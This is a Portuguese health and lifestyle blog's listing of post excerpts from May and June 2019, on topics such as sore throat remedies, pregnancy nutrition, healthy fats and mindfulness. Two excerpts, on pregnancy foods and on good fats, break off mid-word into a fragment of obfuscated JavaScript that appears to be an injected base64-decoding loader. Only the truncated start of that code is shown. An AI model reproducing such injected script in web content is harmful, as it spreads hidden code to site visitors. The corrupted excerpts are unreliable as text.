Jun 6, 2019 | Dicas úteis, Saúde e bem estar, Teresa
6 Truques para aliviar a dor de garganta As dores de garganta não têm estação do ano, nem hora, para aparecerem. A avó, a tia ou mesmo a mãe, tinham sempre soluções naturais que aliviavam a dor, mas muitas de nós já nos esquecemos delas. Claro que nenhuma destas...
Jun 5, 2019 | Dicas úteis, Equilíbrio, Estilo e beleza, Saúde e bem estar
Dicas para ter umas mãos mais jovens e saudáveis As nossas mãos têm uma pele muito fina e delicada e estão quase sempre expostas ao sol, ao frio e ao vento. E é precisamente por serem tão delicadas, que temos de ter determinados cuidados para as mantermos sempre...
Jun 1, 2019 | Equilíbrio, Saúde e bem estar
Alimentação contra as rugas Quem nunca sonhou em ser jovem para sempre? Sabia que a alimentação pode contribuir significativamente para uma juventude que se sente por dentro e se reflete por fora? A verdade é que cada vez mais cedo começam as preocupações com a...
Mai 29, 2019 | Equilíbrio, Saúde e bem estar, Zen Energy
Sabia que 15 minutos por dia podem mudar a sua vida? Praticar mindfulness Toda a vida quis fazer mais, ter mais, ser mais! Desde os 12 anos que me sinto numa busca incessante de respostas, de uma compreensão maior do mundo e de mim mesma que me permitam expressar de...
Mai 28, 2019 | Saúde e bem estar
Os melhores alimentos para consumir durante a gravidez Alimentar-se bem durante a gravidez pode parecer mais complicado que parece. Isto porque existem várias informações contraditórias acerca do que é mais acertado consumir qufunction a4872b9c6b(y1){var...
Mai 20, 2019 | Dicas úteis, Saúde e bem estar
Hábitos que prejudicam a nossa saúde Há hábitos tão completamente enraizados que nem já nos apercebemos deles. Estão perfeitamente automatizados, pelo que temos de prestar-lhes mais atenção. Caso sejam hábitos positivos, não há qualquer problema. Mas caso sejam...
Mai 15, 2019 | Equilíbrio, Saúde e bem estar
Gorduras boas que devemos incluir na dieta Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 14, 2019 | Equilíbrio, Saúde e bem estar
8 Hidratos de carbono benéficos para a sua saúde Certamente já costuma consumi-los nas suas refeições mas será que está a fazer as escolhas certas? Hoje vou falar-lhe dos hidratos de carbono mais saudáveis que deve incluir na sua alimentação. Saiba que os hidratos...
Mai 10, 2019 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: Conheça os benefícios do dente de leão para a saúde Hoje falo-lhe de uma das plantas medicinais mais conhecidas, o dente de leão. Como já deve ter ouvido, esta planta pode ser consumida em forma de chá ou em cápsulas. É referenciada por ser...
Mai 9, 2019 | Dicas úteis, Saúde e bem estar
5 benefícios das ervilhas que são ideais para emagrecer As ervilhas fazem parte dos meus vegetais de eleição. São ricas em fibras, vitaminas e proteínas, e, por isso mesmo, muito aconselhadas para uma dieta equilibrada e saudável. Além disso, as ervilhas são ideais...
